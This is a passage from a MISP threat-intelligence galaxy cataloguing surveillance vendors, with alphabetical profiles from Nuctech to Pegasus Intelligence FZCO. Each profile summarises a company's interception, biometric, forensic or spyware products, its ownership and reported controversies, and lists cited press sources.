https://www.intelligenceonline.com/corporate-intelligence/2011/11/10/ntrepid-infiltrating-facebook,94301505-art
https://www.theguardian.com/technology/2011/mar/17/us-spy-operation-social-networks
https://www.intelligenceonline.com/grey-areas/2011/03/31/universities-help-pentagon-infiltrate-facebook,89006732-art
https://www.helpnetsecurity.com/2008/05/02/abraxas-acquires-anonymizer-inc/
https://web.archive.org/web/20140201193232/http://www.thetechherald.com/articles/Anonymous-Government-contractor-has-weaponized-social-media
https://www.intelligenceonline.com/surveillance—interception/2024/04/16/abu-dhabi-s-cpx-core42-merger-plans-have-cyber-providers-worried,110216094-art

Nuctech

Nuctech is a company in China that develops X-ray vehicle scanners. In late 2023, Nuctech introduced its X-ray vehicle scanners to the Serbian government, deploying them along the Serbian-Bulgarian border. The company has also sold its surveillance and scanning technologies to over 170 countries, including deployments at airports, seaports, and border crossings worldwide.

Nuctech Company is owned by Tsinghua Tongfang, which is under the control of the China National Nuclear Corporation (CNNC), a state-owned enterprise.

The tag is: *misp-galaxy:surveillance-vendor="Nuctech"*

Table 17890. Table References

Links
https://borderviolence.eu/app/uploads/Surveillance-tech-in-Serbia.pdf
https://www.rferl.org/a/chinese-border-scanners-transparency-serbia-migrants/32684251.html
https://www.arabnews.com/node/2424676/business-economy
https://apnews.com/article/technology-business-china-russia-europe-120b7dedacd8d545bf4521a1948bc31e
https://www.aiddata.org/blog/chinas-global-scanner-dissemination
https://www.politico.eu/article/beijing-scanners-europe-nuctech/
https://swarajyamag.com/commentary/explained-why-a-chinese-security-equipment-supplier-was-raided-in-europe

Obvious Technologies

Obvious Technologies is a French tech company co-founded by former GIGN commander Thierry Orosco and entrepreneur Naoufal el-Ouali. The company partnered with Emirati cyber-intelligence firm CPX and has ties with the AI-surveillance powerhouse Group 42 (G42). The company is also

working with consultant Charles Gillibert to integrate surveillance capabilities and deliver UAVs to Saudi authorities.

The tag is: *misp-galaxy:surveillance-vendor="Obvious Technologies"*

Table 17891. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2024/02/08/toka-rebuilds-in-us-cpx-joins-forces-with-obvious-technologies-quindar-attracts-space-force,110157212-art
https://www.wam.ae/en/article/b3a4r7p-presight-signs-mou-with-obvious-technologies
https://www.intelligenceonline.com/surveillance—interception/2022/10/03/obvious-technologies-moves-beyond-doha-to-abu-dhabi,109829914-art
https://menafn.com/1104226860/The-National-Security-Services-Company-SAFE-and-Obvious-Technologies-Join-Forces-In-A-Global-Strategic-Partnership

Octasic

Octasic, a Canadian company, is a developer of wireless communication technologies, including surveillance solutions such as IMSI catchers. These devices, often referred to as "Stingrays," are capable of intercepting mobile phone signals and tracking user locations by masquerading as legitimate cell towers. Octasic's Nyxcell V800 targets multiple frequency bands, including GSM (2G), CDMA2000 (3G), and LTE (4G), enabling comprehensive surveillance capabilities.

In 2019, sold IMSI catchers to the Rapid Action Battalion (RAB) in Bangladesh. Octasic's CEO, Sebastien Leblanc, confirmed that the Canadian government approved the export of these surveillance technologies to Bangladesh.

Octasic's involvement in the IMSI catcher market has expanded internationally, with the company exporting its surveillance tools to Europe via Cyprus. The company operates a research and development center in Bangalore, India, and has a sales office in Japan.

The tag is: *misp-galaxy:surveillance-vendor="Octasic"*

Table 17892. Table References

Links
https://www.thedailystar.net/views/opinion/news/the-states-surveillance-apparatus-out-control-2972721
https://www.schneier.com/blog/archives/2020/10/imsi-catchers-from-canada.html
https://sls.eff.org/technologies/cell-site-simulators-imsi-catchers
https://www.intelligenceonline.com/surveillance—interception/2021/11/12/imsi-catcher-maker-octasic-takes-root-in-europe-from-cyprus%2C109704349-art
https://www.eetimes.com/octasic-expands-sales-presence-in-europe/

Oniks-Line

Oniks-Line is a Russian company that develops surveillance and interception technology, particularly systems used for state monitoring and data interception. It is one of the providers of SORM (System for Operational-Investigative Activities) equipment, a surveillance framework widely used in Russia and exported to other countries.

In Kyrgyzstan, Oniks-Line's SORM technology has been implemented to allow authorities to intercept and monitor communications.

The tag is: *misp-galaxy:surveillance-vendor="Oniks-Line"*

Table 17893. Table References

Links
https://ctga.web.ox.ac.uk/files/theworldwidewebofchineseandrussianinformationcontrolspdf
https://thegeopolitics.com/cooperation-or-competition-china-and-russias-surveillance-models-in-central-asia/
https://www.wired.com/2012/12/russias-hand/

Oosto

Oosto is an Israeli company formerly known as AnyVision specializing in facial recognition and tracking technologies. AnyVision initially gained notoriety for its controversial use in monitoring the West Bank border and rebranded to Oosto in September 2021 after it faced significant backlash for its unethical business practices. Despite claims from Oosto that issues like racial bias have been mitigated, skepticism remains, particularly as the company pushes into even more contentious areas like behavior recognition.

In September 2020, AnyVision's/Oosto's shareholders partnered with Rafael Advanced Defense Systems Ltd. to form a joint venture named SightX. This new company, equally owned by AnyVision's shareholders and Rafael, focuses on developing advanced AI-recognition technologies for military use.

The tag is: *misp-galaxy:surveillance-vendor="Oosto"*

Table 17894. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2022/09/01/oosto-israel-facial-recognition-surveillance-on-casinos-in-america/
https://www.biometricupdate.com/202110/anyvision-rebrands-as-oosto-and-widens-computer-vision-safety-focus
https://oosto.com/press/anyvision-now-oosto/
https://dimse.info/anyvision-oosto/

Opticoelectron

Opticoelectron Group JSCo is a Bulgarian developer and distributor of optical and surveillance technologies. Its offerings include Mobile Surveillance Systems (MSS), such as the MUSON series, which feature high-resolution day and night cameras, thermal imaging, and long-range capabilities for monitoring. Opticoelectron collaborates with international organizations, including Frontex, the European Border and Coast Guard Agency, to provide surveillance equipment for border control.

The tag is: *misp-galaxy:surveillance-vendor="Opticoelectron"*

Table 17895. Table References

Links
https://borderviolence.eu/app/uploads/North-Macedonia-Border-Tech.pdf
https://www.opticoel.com/product-category/surveillance-and-observation/
https://www.europarl.europa.eu/doceo/document/E-9-2023-002853-ASW-ANN02_EN.pdf

Optix

Optix, a Bulgarian company, is a provider of surveillance systems, including thermal imaging cameras and night vision devices. Its products are tailored for military, law enforcement, and border control.

Optix partnered with the Polish company Korporacja Wschód to supply Mobile Surveillance Systems (MSSs) to Frontex, the European Border and Coast Guard Agency.

The tag is: *misp-galaxy:surveillance-vendor="Optix"*

Table 17896. Table References

Links
https://www.europarl.europa.eu/doceo/document/E-9-2023-002853-ASW-ANN02_EN.pdf
https://www.frontex.europa.eu/assets/EUresearchprojects/2023/OPTIX_presentation_12.07.2023.pdf
https://www.frontex.europa.eu/innovation/announcements/frontex-announces-5-groups-selected-in-the-second-phase-of-prize-contest-on-the-detection-of-low-flying-objects-Pqk5wM

ORACTeam

ORACTeam is a UK-based consultancy that provides telecommunications and interception solutions, including IMSI catcher technology designed for surveillance and intelligence operations. Their products include both active and passive IMSI catcher systems.

Beyond IMSI catchers, ORACTeam offers a citywide E-Fence Security Solution, integrating IMSI catcher units with facial recognition and license plate recognition technologies. The company has offices in London and Dubai.

The tag is: *misp-galaxy:surveillance-vendor="ORACTeam"*

Table 17897. Table References

Links
https://www.oracteam.co.uk/imsi-catcher
https://find-and-update.company-information.service.gov.uk/company/08792784

OryxLabs

OryxLabs is an Abu Dhabi-based cybersecurity firm. Established in 2020, the company specializes in DNS monitoring and zero-day exploit research. Under the leadership of Sumit Dhar, a former executive at DarkMatter and Digital14, OryxLabs has recruited a team of former spyware and surveillance tech developers, including veterans from Beacon Red and Connection Systems.

DarkMatter's surveillance activities included targeting journalists, activists, and dissidents with spyware and hacking tools. One of its operations, known as Project Raven, involved ex-U.S. intelligence operatives conducting cyber-espionage on behalf of the UAE. This included hacking into email accounts, tracking individuals' movements, and gathering private data. Journalists were specifically targeted to suppress dissent and monitor media activities critical of the UAE government.

In 2023, OryxLabs was acquired by EDGE, the defense conglomerate based in the UAE.

The tag is: *misp-galaxy:surveillance-vendor="OryxLabs"*

Table 17898. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2023/02/06/oryxlabs-shelter-for-ex-darkmatter-and-digital14-cyber-specialists,109910284-art
https://www.reuters.com/investigates/special-report/usa-spying-raven/
https://www.edrmagazine.eu/oryxlabs-providing-cybersecurity-from-internet-threats
https://www.reuters.com/investigates/special-report/usa-spying-karma/
https://oryxlabs.ae/news/edge-expands-its-portfolio-acquisition-leading-cybersecurity-company-oryxlabs

OSI Systems

OSI Systems is a global provider of security screening and optoelectronics products. Through its subsidiaries, including Rapiscan Systems and Gatekeeper Intelligent Security, OSI Systems develops and deploys surveillance technologies. This includes imaging and sensor technologies to provide real-time, automated vehicle inspections and facial recognition tools, often for use at borders and "smart city" surveillance projects such as ones in Saudi Arabia and the UAE.

The tag is: *misp-galaxy:surveillance-vendor="OSI Systems"*

Table 17899. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2018/12/04/manhole-covers-that-spy-meet-the-westerners-helping-saudis-build-surveillance-cities/
https://www.washingtonpost.com/outlook/2019/01/17/how-us-surveillance-technology-is-propping-up-authoritarian-regimes/
https://www.osi-systems.com/about-osi/global-locations/

Osnova Lab

Osnova Lab is a Russian company operating under the Citadel group, a surveillance technologies conglomerate. The company claims to be the first in Russia to design and deploy SORM (System for Operative Investigative Activities) solutions for IMS (IP Multimedia Subsystem) platforms. SORM is a state-mandated surveillance system used in Russia to monitor and intercept telecommunications.

Osnova Lab markets its SORM-related products under the brand name Olympus (Олимп). An archived version of its website reveals that its clients include "leading global manufacturers of telecommunications equipment."

The tag is: *misp-galaxy:surveillance-vendor="Osnova Lab"*

Table 17900. Table References

Links
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf
https://web.archive.org/web/20240525085836/https://osnovalab.ru/
https://itglobal.com/ru-by/company/blog/proizvoditeli-sorm-v-rossii/

OSY Technologies

OSY Technologies is a Luxembourg-based company that serves as the parent organization of the NSO Group ecosystem. The company is part of a larger network primarily consisting of spyware and surveillance companies, often run by former Israeli intelligence officers. Both OSY Technologies and Q Cyber Technologies, which is also based in Luxembourg, have been named in lawsuits related to illegal hacking using the Pegasus spyware.

Michael Flynn, the former U.S. national security advisor, served on OSY Technologies' advisory board in 2016. This relationship coincided with NSO Group’s expansion into the U.S. market through the establishment of WestBridge Technologies in the D.C. region.

The tag is: *misp-galaxy:surveillance-vendor="OSY Technologies"*

Table 17901. Table References

Links
https://www.accessnow.org/nso-group-surveillance-tech-shadows-francisco-partners/

https://techcrunch.com/2024/11/13/lawyer-allegedly-hacked-with-spyware-names-nso-founders-in-lawsuit/
https://www.luxtimes.lu/luxembourg/luxembourg-must-act-if-links-to-spyware-company-shown-asselborn-says/1333484.html
https://littlesis.org/org/371797-OSY_Technologies_SARL
https://www.technologyreview.com/2020/08/19/1007337/shalev-hulio-nso-group-spyware-interview/

OT-Morpho

OT-Morpho, now known as French multinational IDEMIA, specializes in security and identity systems, including facial recognition and other biometric identification products. In 2015, the company was awarded a contract to supply facial recognition equipment directly to the Shanghai Public Security Bureau.

Kenya's opposition coalition has accused OT-Morpho of complicity in electoral fraud in Kenya.

The tag is: *misp-galaxy:surveillance-vendor="OT-Morpho"*

Table 17902. Table References

Links
https://www.amnesty.org/en/latest/news/2020/09/eu-surveillance-sales-china-human-rights-abusers-2/
https://www.cfr.org/blog/exporting-repression-chinas-artificial-intelligence-push-africa
https://www.business-humanrights.org/en/latest-news/kenyas-opposition-coalition-alleges-french-ot-morpho-tampered-with-election-results-co-denies-allegations/
https://www.idemia.com/press-release/ot-morpho-becomes-idemia-global-leader-trusted-identities-2017-09-28

Otesa

Otesa (Orion Technologies and Engineering Systems Africa) is a Namibian company that specializes in surveillance and biometric systems. Otesa developed the Automated Biometric Identification System (N-ABIS) for the Namibian Police Force, a project valued at N$40 million and completed over two years. This system integrates automated fingerprint identification and facial recognition technology, enabling rapid comparison of biometric data against millions of records in seconds. The system maintains an extensive database of fingerprints and facial images.

The tag is: *misp-galaxy:surveillance-vendor="Otesa"*

Table 17903. Table References

Links
https://www.namibian.com.na/police-lauch-automated-biometric-identification-system/

https://www.securityvision.io/wiki/index.php/Namibian_Police_Force_deploy_automatic_facial_and_fingerprint_identification_system

OurCrowd

OurCrowd is an Israeli company that facilitates startup investments. It helps fund and promote AI-powered surveillance tech, as well as tools like BriefCam, which develops and sells video analysis software that is capable of creating synopses of long clips and identifying and tracking objects and activities. It became the first Israeli VC registered by the Abu Dhabi Global Market to operate in the country. The UAE relies heavily on surveillance tech produced by Israeli startups and defense companies.

The tag is: *misp-galaxy:surveillance-vendor="OurCrowd"*

Table 17904. Table References

Links
https://circuit.news/2022/09/05/weekly-circuit-uae-israel-cyber-firm-grows-with-its-perch-in-the-gulf-dubai-meets-tel-aviv/

Outlogic

Outlogic, formerly known as X-Mode Social, is a data broker that collects and sells location data through specialized code embedded in over 100 mobile applications, including dating, music, weather, and Muslim prayer apps. On its former website, the company claimed to cover more than 25% of the adult U.S. population monthly. After being acquired by Digital Envoy in August 2021, the company has maintained significant government contracts, including with the IRS, Department of Homeland Security, and various military branches in the U.S.

In 2024, the Federal Trade Commission issued a settlement that prohibits Outlogic from selling or sharing location data that could be used to track individuals to healthcare facilities, domestic abuse shelters, or places of worship.

The tag is: *misp-galaxy:surveillance-vendor="Outlogic"*

Table 17905. Table References

Links
https://theintercept.com/2022/02/18/location-data-tracking-irs-dhs-digital-envoy/
https://www.vice.com/en/article/us-military-location-data-xmode-locate-x/
https://themarkup.org/privacy/2022/01/27/gay-bi-dating-app-muslim-prayer-apps-sold-data-on-peoples-location-to-a-controversial-data-broker
https://www.wsj.com/articles/location-data-broker-x-mode-to-be-bought-by-digital-envoy-11628074800
https://www.cyberdaily.au/security/10093-nsa-called-out-for-purchasing-data-from-illegal-data-brokers

https://thehackernews.com/2024/01/ftc-bans-outlogic-x-mode-from-selling.html
https://www.eff.org/deeplinks/2022/06/how-federal-government-buys-our-cell-phone-location-data

Oxygen Software

Oxygen Software, a Russia-based company, develops mobile forensics tools marketed under its U.S branch, Oxygen Forensics. These tools are primarily deployed by government agencies and are widely used for surveillance purposes. Their capabilities include extracting vast amounts of data from mobile devices, such as personal messages, call logs, location data, and other sensitive information. Governments, particularly in Central Asia, such as Kazakhstan and Uzbekistan, have reportedly used them to monitor activists, journalists, and political dissidents. In the U.S, its tools are used by the U.S Army, Department of Homeland Security (DHS), alongside other government agencies. According to an investigation by Gizmodo, U.S. school districts are also amongst its users. For example, Cypress-Fairbanks ISD in Texas confirmed using Oxygen Forensics' tools to extract data from students' phones for "evidentiary purposes."

Oxygen Software’s tools are often sold through regional resellers, such as Softline, which has offices in Kazakhstan, Tajikistan, Turkmenistan, and Uzbekistan.

The tag is: *misp-galaxy:surveillance-vendor="Oxygen Software"*

Table 17906. Table References

Links
https://theintercept.com/2016/10/31/fbis-go-hackers/
https://www.dhs.gov/sites/default/files/2022-02/22_st_0222_Test%20Results%20for%20Mobile%20Device%20Acquisition%20Tool-Oxygen%20Forensic%20Detective%20v13.6.0.47.pdf
https://www.forbes.com/sites/thomasbrewster/2017/08/30/russian-hackers-help-us-with-encryption-nightmare/
https://www.inverse.com/input/culture/schools-are-using-law-enforcement-grade-phone-hacking-tech-on-students
https://gizmodo.com/u-s-schools-are-buying-phone-hacking-tech-that-the-fbi-1845862393
https://www.accessnow.org/wp-content/uploads/archive/docs/Commonwealth_of_Surveillance_States_ENG_1.pdf

Paladion

Paladion was an India-based company that develops surveillance tools for use by governments, law enforcement agencies, and corporations. Among its offerings is an SSL Interception and Decryption System, designed to perform covert man-in-the-middle attacks, enabling the monitoring of encrypted communications, including banking transactions and Gmail. Paladion marketed a link analysis tool that maps relationships between individuals, identifying key connections within groups for extended surveillance. This tool integrates with the client’s Internet Monitoring System (IMS), a scalable framework capable of nationwide surveillance, offering real-time analysis, long-

term data storage, and proactive detection of new targets for deep intelligence gathering.

Paladion maintained offices in India, the U.S, Oman, Saudi Arabia, United Arab Emirates and United Kingdom.

The company was acquired by Atos in 2020.

The tag is: *misp-galaxy:surveillance-vendor="Paladion"*

Table 17907. Table References

Links
https://wikileaks.org/spyfiles/docs/paladion/277_interception-monitoring-solutions.html
https://arstechnica.com/tech-policy/2011/12/gallery-how-the-surveillance-industry-markets-spyware-to-governments/
https://craft.co/paladion-networks/locations
https://www.msspalert.com/news/atos-acquires-mssp-mdr-cybersecurity-provider-paladion

Palm Beach Networks

Palm Beach Networks (formerly known as Defense Prime) is a spyware company with roots in both the U.S. and Israel, operating out of Barcelona, Spain. According to an investigation by TechCrunch, the company specializes in offensive cybersecurity, including the development of zero-day exploits and spyware implants. It has undergone several rebrandings, transitioning from Defense Prime to Palm Beach Networks and later to Head and Tail, with overlapping executives across these entities.

According to Intelligence Online, the company's Israeli founders, Yigal Sharon and Yosef Aloni, previously worked for US investment fund Black Dragon Capital. The third founder is Yaacov Nir. The company's Chief Technology Officer, Alexey Levin, is a former researcher at NSO Group and Candiru, two Israeli spyware firms. Levin has been involved in recruiting top-tier Israeli talent, offering high salaries and relocation packages to Barcelona.

In 2023, it was negotiating to acquire intellectual property and government contracts from the Israeli cyber-intelligence firm Quadream, focusing on its contracts in Asia.

The tag is: *misp-galaxy:surveillance-vendor="Palm Beach Networks"*

Table 17908. Table References

Links
https://techcrunch.com/2025/01/13/how-barcelona-became-an-unlikely-hub-for-spyware-startups/
https://www.intelligenceonline.com/surveillance—interception/2023/07/21/barcelona-emerges-as-new-cyber-offensive-hub-in-europe,110005885-gra
https://www.haaretz.com/israel-news/security-aviation/2023-07-05/ty-article/.premium/headhunters-and-american-money-are-luring-israeli-hackers-to-new-cyber-firm/00000189-2367-dcb5-a5df-6777626e0000

https://www.intelligenceonline.com/surveillance—interception/2023/09/05/palm-beach-networks-eyes-quadream-s-technology,110039529-art
https://search.sunbiz.org/Inquiry/CorporationSearch/SearchResults?InquiryType=EntityName&InquiryDirectionType=PreviousRecord&SearchNameOrder=DEFENSEPRIME%20P230000568650&ListNameOrder=DEFENSEMOBILE%20F140000021850&Detail=FL.DOS.Corporations.Shared.Contracts.FilingRecord

Pangiam

Pangiam is a Virginia-based technology company that develops identity management, biometrics, and AI-driven security solutions for border control, aviation, and government applications. Founded by former senior U.S. Department of Homeland Security officials, Pangiam has expanded through strategic acquisitions, including the facial recognition platform veriScan and computer vision firm Trueface. One of Pangiam's flagship initiatives is its collaboration with U.S. Customs and Border Protection (CBP) on the Anomaly Detection Algorithms (ADA) project. It has also implemented facial recognition systems at various transportation hubs.

In March 2024, BigBear.ai completed its acquisition of Pangiam for approximately $70 million in stock.

The tag is: *misp-galaxy:surveillance-vendor="Pangiam"*

Table 17909. Table References

Links
https://www.axios.com/2023/12/12/border-patrol-us-mexico-ai-robo-dogs-drones-inspectors
https://ir.bigbear.ai/news-events/press-releases/detail/69/bigbear-ai-to-acquire-pangiam-combining-facial-recognition
https://www.defensedaily.com/pangiam-acquires-computer-vision-company-trueface-2/homeland-security/
https://www.aeroequity.com/pangiam-acquires-veriscan-a-biometric-facial-recognition-system-for-airports-and-airlines/

Paraben

Paraben Corporation is a developer of digital forensics and surveillance technology, offering tools designed for data extraction and analysis from mobile devices. Their products, such as the CSI Stick, allow for rapid and covert retrieval of data, including deleted files, from smartphones without leaving traces, specifically marketed towards law enforcement, intelligence, and corporate investigations.

The tag is: *misp-galaxy:surveillance-vendor="Paraben"*

Table 17910. Table References

Links

https://www.cnet.com/news/privacy/csi-stick-grabs-data-from-cell-phones/
https://www.vice.com/en/article/government-report-reveals-its-favorite-way-to-hack-iphones-without-backdoors/
https://phys.org/news/2008-09-paraben-csi-cell.html
https://www.officer.com/investigations/forensics/product/10050127/paraben-corp-csi-stick

Parrot

Parrot is a drone maker that integrates surveillance and reconnaissance technology into its systems. Its ANAFI USA drone is built for military and defense use, featuring a 32x zoom lens, 4K HDR video, and thermal imaging. These drones are used for military, defense, and intelligence gathering purposes, including for border control and target detection.

Parrot is a publicly traded company listed on Euronext Paris under the ticker symbol "PARRO."

The tag is: *misp-galaxy:surveillance-vendor="Parrot"*

Table 17911. Table References

Links
https://www.parrot.com/en/newsroom/parrot-diu-blue-suas
https://thedefensepost.com/2021/01/12/french-army-parrot-micro-drones/
https://www.parrot.com/en/newsroom/finnish-army-announced-acquisition-of-parrot-anafi-usa-micro-drones
https://thedefensepost.com/2024/09/25/lithuania-first-parrot-anafi-micro-drones/

PARS Defense

PARS Defense is a cybersecurity company headquartered in Istanbul that, says its website, “helps customers to solve forensic challenges in mobile world [sic].” It was included in a report by Google exposing the creation of hacking tools that have been deployed against "high risk individuals."

The tag is: *misp-galaxy:surveillance-vendor="PARS Defense"*

Table 17912. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2024/02/15/pars-defense-turkey-s-zero-day-champion,110159845-art
https://www.fastcompany.com/91024985/spyware-companies-helping-governments-hack-their-citizens

Passitora

Passitora, previously known as WiSpear, is a Cyprus-based company controlled by former Israeli

intelligence commander Tal Dilian. It sells advanced surveillance technology to governments worldwide. Despite a ban on Israeli intelligence and defense exports to Bangladesh, Passitora sold spyware to the country's National Telecommunication Monitoring Centre (NTMC), a branch of the Interior Ministry responsible for monitoring internet and social media. This technology enables interception of calls, texts, and internet traffic.

The company has faced scrutiny in the past, including a scandal in Cyprus involving its SpearHead system, which was used to extract private data from people's phones without their knowledge or consent.

Passitora is part of the Intellexa Alliance, a network of companies marketing and selling spyware globally.

The tag is: *misp-galaxy:surveillance-vendor="Passitora"*

Table 17913. Table References

Links
https://www.middleeasteye.net/news/israeli-firm-sold-spyware-bangladesh-despite-export-ban
https://thewire.in/tech/bangladesh-spyware-israel-ban
https://in-cyprus.philenews.com/local/israeli-report-implicates-cyprus-in-spying-equipment-sale-to-bangladesh/

Passware

Passware is a U.S-Russian cybersecurity company that develops encryption-cracking tools that have been widely used by U.S. government agencies, including Immigration and Customs Enforcement (ICE), since at least 2010. Passware's software can bypass encryption on systems like TrueCrypt and is designed to be user-friendly, even for non-technical users. It is often bundled with other forensic tools, such as those from Oxygen Forensics, for use by law enforcement and intelligence agencies. The company's primary engineering office is in Moscow, Russia.

The tag is: *misp-galaxy:surveillance-vendor="Passware"*

Table 17914. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2017/08/30/russian-hackers-help-us-with-encryption-nightmare/
https://www.muckrock.com/news/archives/2017/may/17/social-media-surveillance-growing/
https://www.prnewswire.com/news-releases/passware-software-makes-windows-computers-accessible-to-law-enforcement-exposing-login-passwords-in-minutes-170039676.html
https://www.griffith.edu.au/data/assets/pdf_file/0028/1774531/Selth-Post-coup-intelligence-in-Myanmar.pdf

PAT Systems

PAT Systems is a provider of surveillance technologies, including IMSI catchers and mobile interception solutions. Its products, such as the VORTEX AIR-STACK V4, are capable of intercepting and locating IMSIs and IMEIs across multiple cellular networks, including GSM, UMTS, and LTE. Founded in 1991, the company is headquartered in Miami, Florida, and operates through a network of partners across Latin America, including Argentina, Chile, Colombia, and Mexico.

The tag is: *misp-galaxy:surveillance-vendor="PAT Systems"*

Table 17915. Table References

Links
https://patsystems.us/wp-content/uploads/2020/07/1006-OCT-2018-VORTEX-STACK-V.4-IMSI.pdf
https://www.atlanticcouncil.org/uncategorized/surveillance-technology-at-the-fair/
https://patsystems.us/

PathAR

PathAR is a technology company specializing in social media monitoring analytics for intelligence gathering, with its primary product, Dunami, being used by U.S government agencies like the FBI and U.S. Customs and Border Protection (CBP). Dunami mines data from platforms such as Twitter, Facebook, and Instagram to create detailed profiles of users and map networks of association.

The Chicago Public Schools (CPS) received a $2.2 million grant in 2014 from the U.S. Department of Justice's Comprehensive School Safety Initiative. Part of the grant was allocated to hire two intelligence analysts and to purchase Dunami, which was then used to monitor students' public social media activity. The program initially targeted 16 schools and later expanded to 24 schools, covering approximately 25,000 students.

The company is backed by In-Q-Tel, the CIA's venture capital arm.

The tag is: *misp-galaxy:surveillance-vendor="PathAR"*

Table 17916. Table References

Links
https://theintercept.com/2016/04/14/in-undisclosed-cia-investments-social-media-mining-looms-large/
https://www.commondreams.org/news/2016/04/15/revealed-cia-funding-companies-specialize-social-media-spying
https://revealnews.org/blog/facebook-reactions-are-a-gift-to-advertisers-and-law-enforcement-alike/
https://www.propublica.org/article/chicago-public-schools-social-media-monitoring-violence-gangs

Patternz

Patternz is an Israeli company that builds geolocation technology derived from advertising data (ADINT) with advanced spyware capabilities. Founded in 2019 by Yoad Gidron, a former technical director at Rafael Advanced Defense Systems, alongside Nimrod Schwartz and Rafi Ton of digital advertising firm NUVIAD, Patternz leverages Mobile Advertising ID (MAID) technology to track individuals' locations in real time and build comprehensive target profiles. This approach is often used to bypass the need for legal warrants and benefits from more flexible export regulations compared to traditional surveillance tools.

The company's platform not only enables precise tracking and profiling but can also issue alerts when a target reaches specific destinations. Patternz is reportedly working on even more advanced solutions, including the integration of spyware capabilities into the ad-tech stack, potentially deploying Trojans through advertising frameworks. In January 2024, the business development firm Improvate The Future (ITF) filed a lawsuit against Patternz for alleged non-payment of services. ITF, which boasts a high-profile advisory board including former Israeli cybersecurity chief Yigal Unna and several ex-prime ministers, had previously facilitated Patternz's participation in international cyber delegations.

Udi Doenyas, Patternz's technical director, is a former architect of NSO Group's Pegasus spyware and has been a key figure in the company's operations.

The tag is: *misp-galaxy:surveillance-vendor="Patternz"*

Table 17917. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2024/01/26/in-midst-of-ramping-up-offensive-cybertool-development-israel-s-patternz-taken-to-court,110152533-art
https://www.404media.co/inside-global-phone-spy-tool-patternz-nuviad-real-time-bidding/
https://sovsys.co/wp-content/uploads/2020/04/PATTERNZ-NATIONAL-SECURITY-PATTERN-DETECTION.pdf
https://www.reuters.com/article/technology/special-report-cyber-intel-firms-pitch-governments-on-spy-tools-to-trace-corona-idUSKCN22A2G1/
https://www.404media.co/patternz-phone-spy-tool-pitched-for-riot-detection-in-nyc/
https://dataleaks.org/2024/01/27/patternz-commercial-surveillance-tool-tracking-billions-via-advertisements/

Pavo Group

Pavo Group is a Turkish company providing interception and threat intelligence services through its subsidiaries, such as InterProbe and Interdata, serving both military and government clients globally. Its capabilities include IMSI-catcher technology, exploiting undisclosed software vulnerabilities for intelligence purposes, cyber intelligence systems including data interception, and technologies for tracking and locating mobile devices.

Barzan Holdings, the strategic investment arm of Qatar's Ministry of Defense and the commercial gateway for the country's military defense industry, owns a stake in the company.

The tag is: *misp-galaxy:surveillance-vendor="Pavo Group"*

Table 17918. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/11/10/interdata-moves-into-interception-market-thanks-to-discreet-redeye-acquisition,109843460-art
https://www.starsolutions.com/press-releases/pavo-group-and-star-solutions-announce-strategic-partnership/
https://www.intelligenceonline.com/surveillance—interception/2024/07/02/kuala-lumpur-sources-cyber-tools-from-turkish-operator,110253523-art
https://www.pavo-group.com/
https://www.intelligenceonline.com/international-dealmaking/2024/07/11/turkey-s-pavo-group-cements-defence-ties-between-abu-dhabi-and-ankara,110266486-art
https://www.wam.ae/article/b5tthyb-edge-pavo-group-partner-strengthen-cybersecurity

pcTattletale

pcTattletale was a remote surveillance app, commonly referred to as "stalkerware", designed to secretly track people without their knowledge. The app allowed the person who planted it to remotely view screenshots and private data from the victim's Android or Windows device from anywhere in the world. Although pcTattletale marketed itself as a tool for monitoring employees, it also openly promoted its use for spying on spouses and domestic partners without their consent. The spyware required physical access to the target's device for installation and could be quickly deployed with just one click. The company also offered a "We Do It For You" service to assist in installing the spyware on a target's computer. According to TechCrunch, pcTattletale was used to compromise the front desk check-in systems at several Wyndham hotels across the United States, exposing screenshots containing guest details and customer information. The company has since ceased operations after a data breach.

The tag is: *misp-galaxy:surveillance-vendor="pcTattletale"*

Table 17919. Table References

Links
https://techcrunch.com/2024/05/22/spyware-found-on-hotel-check-in-computers/
https://www.malwarebytes.com/blog/news/2024/05/pctattletale-spyware-leaks-database-containing-victim-screenshots-gets-website-defaced
https://www.bitdefender.com/blog/hotforsecurity/stalkerware-app-pctattletale-announces-it-is-out-of-business-after-suffering-data-breach-and-website-defacement/
https://www.ericdaigle.ca/pctattletale-leaking-screen-captures/

PeekYou

PeekYou is a U.S.-based people-search engine founded in 2006 that aggregates publicly available personal info, such as your name, age, location, links to social media profiles (from sources that include Facebook, LinkedIn, Twitter/X, Instagram, TikTok), blogs, and maps out possible relatives, with all data curated into searchable profiles. The company had applied for a patent for a method that matches people's real names to the pseudonyms they use on social media, blogs and other websites.

The tag is: *misp-galaxy:surveillance-vendor="PeekYou"*

Table 17920. Table References

Links
https://hstalks.com/article/4224/unified-surveillance-systems-data-mining-with-peek/
https://www.wsj.com/articles/SB10001424052748703358504575544381288117888
https://www.modernhealthcare.com/article/20121218/NEWS/312189956/market-for-health-info-could-see-new-light-as-ftc-targets-data-miners/
https://www.forbes.com/sites/kashmirhill/2010/10/20/civilizing-the-internet-one-lawsuit-at-a-time-for-now/

Pegasus Intelligence FZCO

Not to be confused with NSO Group's Pegasus spyware, Pegasus Intelligence FZCO is a Dubai-based technology broker founded in 2008, and which specializes in offering security solutions, signals intelligence, and cyber intelligence to military and government clients operating in "difficult environments." The company leverages a network of relationships with supposed subject matter and field experts. In 2023, Pegasus Intelligence partnered with Gedion to provide advanced surveillance equipment to primarily government clients in the Gulf Cooperation Council (GCC.) The company has also partnered with Cyabra, an OurCrowd portfolio company, in a collaboration which integrates Cyabra's advanced AI-powered social search engine into Pegasus Intelligence's offerings, for government and military agencies within the GCC.

The tag is: *misp-galaxy:surveillance-vendor="Pegasus Intelligence FZCO"*

Table 17921. Table References

Links
https://www.kxan.com/business/press-releases/ein-presswire/617767778/pegasus-intelligence-partners-with-gedion-to-bring-the-most-advanced-surveillance-equipment-to-clients-in-the-gcc/
https://www.ourcrowd.com/startup-news/uae-based-pegasus-intelligence-fzco-cyabra-provide-disinformation-analysis-for-gcc-security-agencies
